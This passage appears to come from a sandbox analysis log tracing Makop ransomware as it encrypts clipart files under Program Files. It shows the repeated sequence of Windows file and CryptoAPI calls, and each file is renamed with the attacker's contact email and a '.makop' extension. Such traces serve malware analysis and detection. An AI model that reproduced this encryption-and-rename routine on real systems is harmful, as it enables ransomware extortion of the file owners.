Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.176] CloseHandle (hObject=0xf0) returned 1 [0146.177] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1 [0146.177] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 63 [0146.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.178] GetProcessHeap () returned 0x48a0000 [0146.178] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.178] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.178] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0146.186] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.186] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.186] GetProcessHeap () returned 0x48a0000 [0146.186] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.188] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.188] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.188] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.188] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8499, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8499, lpOverlapped=0x0) returned 1 [0146.190] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x84a0, dwBufLen=0x84a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x84a0) returned 1 [0146.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.191] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x84a0, lpOverlapped=0x0) returned 1 [0146.191] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.191] SetEndOfFile (hFile=0xf0) returned 1 [0146.201] GetProcessHeap () returned 0x48a0000 [0146.202] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.202] GetProcessHeap () returned 0x48a0000 [0146.202] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.202] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.204] CloseHandle (hObject=0xf0) returned 1 [0146.204] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1 [0146.204] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF") returned 63 [0146.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.205] GetProcessHeap () returned 0x48a0000 [0146.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.206] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.206] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0146.305] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.305] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.305] GetProcessHeap () returned 0x48a0000 [0146.305] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.305] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.306] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.306] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.306] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.306] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.306] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.306] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.307] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.307] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.307] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x639b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x639b, lpOverlapped=0x0) returned 1 [0146.310] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x63a0, dwBufLen=0x63a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x63a0) returned 1 [0146.310] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.310] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x63a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x63a0, lpOverlapped=0x0) returned 1 [0146.311] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.311] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.311] SetEndOfFile (hFile=0xf0) returned 1 [0146.321] GetProcessHeap () returned 0x48a0000 [0146.321] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.321] GetProcessHeap () returned 0x48a0000 [0146.321] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.321] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.324] CloseHandle (hObject=0xf0) returned 1 [0146.324] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1 [0146.324] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP") returned 63 [0146.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.415] GetProcessHeap () returned 0x48a0000 [0146.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.415] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.415] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.415] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.415] GetProcessHeap () returned 0x48a0000 [0146.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.416] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.416] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.416] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.421] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.422] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.422] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.422] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7e90, lpOverlapped=0x0) returned 1 [0146.424] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e90) returned 1 [0146.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7e90, lpOverlapped=0x0) returned 1 [0146.425] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.425] SetEndOfFile (hFile=0xf0) returned 1 [0146.433] GetProcessHeap () returned 0x48a0000 [0146.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.433] GetProcessHeap () returned 0x48a0000 [0146.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.433] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.436] CloseHandle (hObject=0xf0) returned 1 [0146.436] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1 [0146.436] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 63 [0146.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.438] GetProcessHeap () returned 0x48a0000 [0146.438] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.438] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.443] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.443] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.443] GetProcessHeap () returned 0x48a0000 [0146.443] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.443] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.443] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.443] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.444] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.444] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.444] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.444] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.445] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8118, lpOverlapped=0x0) returned 1 [0146.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8120, dwBufLen=0x8120 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8120) returned 1 [0146.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.447] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8120, lpOverlapped=0x0) returned 1 [0146.448] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.448] SetEndOfFile (hFile=0xf0) returned 1 [0146.494] GetProcessHeap () returned 0x48a0000 [0146.495] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: 